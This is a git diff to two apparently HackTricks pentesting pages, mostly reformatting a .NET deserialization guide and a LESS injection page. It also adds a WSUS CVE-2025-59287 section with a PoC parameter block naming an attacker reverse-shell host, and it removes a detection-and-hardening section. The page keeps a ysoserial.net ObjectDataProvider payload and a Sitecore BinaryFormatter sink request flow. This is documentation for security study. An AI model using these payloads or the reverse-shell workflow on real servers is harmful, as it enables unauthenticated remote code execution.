diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index bb86dab23bb..6bb153b4c1b 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -34,7 +34,10 @@ Note that this isn't the complete code of the function `QueryWorker` but it show If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code: -```java +
+C#: ObjectDataProvider execution example + +```csharp using System.Windows.Data; using System.Diagnostics; @@ -54,6 +57,8 @@ namespace ODPCustomSerialExample } ``` +
+ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` ## ExpandedWrapper @@ -65,7 +70,10 @@ This is very useful for cases as the one presented before, because we will be ab You can check this wrapper with the following code: -```java +
+C#: ExpandedWrapper example + +```csharp using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; @@ -87,6 +95,8 @@ namespace ODPCustomSerialExample } ``` +
+ ## Json.Net In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object. @@ -95,7 +105,10 @@ In the [official web page](https://www.newtonsoft.com/json) it is indicated that First of all lets see an example on how to **serialize/deserialize** an object using this library: -```java +
+C#: Json.Net serialize/deserialize example + +```csharp using System; using Newtonsoft.Json; using System.Diagnostics; @@ -138,11 +151,13 @@ namespace DeserializationTests } ``` +
+ ### Abusing Json.Net Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit: -```java +```text yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', @@ -157,7 +172,10 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" In this code you can **test the exploit**, just run it and you will see that a calc is executed: -```java +
+C#: Json.Net abuse test + +```csharp using System; using System.Text; using Newtonsoft.Json; @@ -194,6 +212,8 @@ namespace DeserializationTests } ``` +
+ ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats. @@ -230,12 +250,6 @@ msbuild ysonet.sln -p:Configuration=Release The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. -### Detection & Hardening -* **Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`). -* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed. -* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters. -* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them. - ## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows: @@ -245,6 +259,9 @@ A practical .NET sink reachable in authenticated Sitecore XP Content Editor flow Minimal end‑to‑end (authenticated): +
+Sitecore authenticated sink – end‑to‑end HTTP flow + ``` // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx @@ -260,6 +277,8 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` +
+ - Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads. For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink: @@ -268,10 +287,35 @@ For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore an ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} +## Real‑world sinks: WSUS SimpleAuth AuthorizationCookie and ReportingWebService.asmx (CVE‑2025‑59287) + +Two unauthenticated deserialization paths in Windows Server Update Services (WSUS) can lead to SYSTEM‑level RCE: + +- SimpleAuth path: a forged `AuthorizationCookie` is decrypted and fed into legacy .NET formatters (primarily `BinaryFormatter`, sometimes `SoapFormatter`) without strict allow‑listing, reaching a deserialization sink during `GetCookie()` processing. +- Reporting path: crafted SOAP to `/ReportingWebService.asmx` carries a base64‑encoded .NET gadget graph that is materialised server‑side by `SoapFormatter`/`BinaryFormatter`. In common operation, the malicious report is processed when an administrator opens the WSUS Console, which triggers the sink and executes the gadget chain as the WSUS service identity (typically SYSTEM). + +Minimal operator workflow (public PoC automates most steps): + +- Tooling: tecxx/CVE‑2025‑59287‑WSUS PoC orchestrates SOAP exchanges, cookie/ID minting and report submission. +- Configure the script’s parameter block with callback and target: + +```powershell +# parameters +$lhost = "192.168.49.51" # attacker host (reverse shell) +$lport = 53 # listener port +$targetURL = "http://192.168.51.89:8530" # WSUS URL +``` + +- Generate a .NET gadget chain with ysoserial.net/YSoNet compatible with BinaryFormatter/SoapFormatter (e.g., TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider). Base64‑encode the serialized blob. +- The PoC embeds the base64 payload into a `ReportEventBatch` SOAP body and `POST`s it to `…/ReportingWebService.asmx`. +- Trigger: code execution occurs when the WSUS management console processes the injected report event (delayed trigger improves reliability). + ## References - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) - [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [OffSec – Unauthenticated Remote Code Execution Vulnerability in WSUS Service](https://www.offsec.com/blog/recent-vulnerabilities-in-wsus-service/) +- [tecxx – CVE-2025-59287-WSUS PoC](https://github.com/tecxx/CVE-2025-59287-WSUS) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-web/xs-search/css-injection/less-code-injection.md b/src/pentesting-web/xs-search/css-injection/less-code-injection.md index b9d599deb30..6d338df2b68 100644 --- a/src/pentesting-web/xs-search/css-injection/less-code-injection.md +++ b/src/pentesting-web/xs-search/css-injection/less-code-injection.md @@ -1,4 +1,6 @@ -## LESS Code Injection leading to SSRF & Local File Read +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../../../banners/hacktricks-training.md}} LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used. @@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ * [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) -* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) \ No newline at end of file +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) +{{#include ../../../banners/hacktricks-training.md}}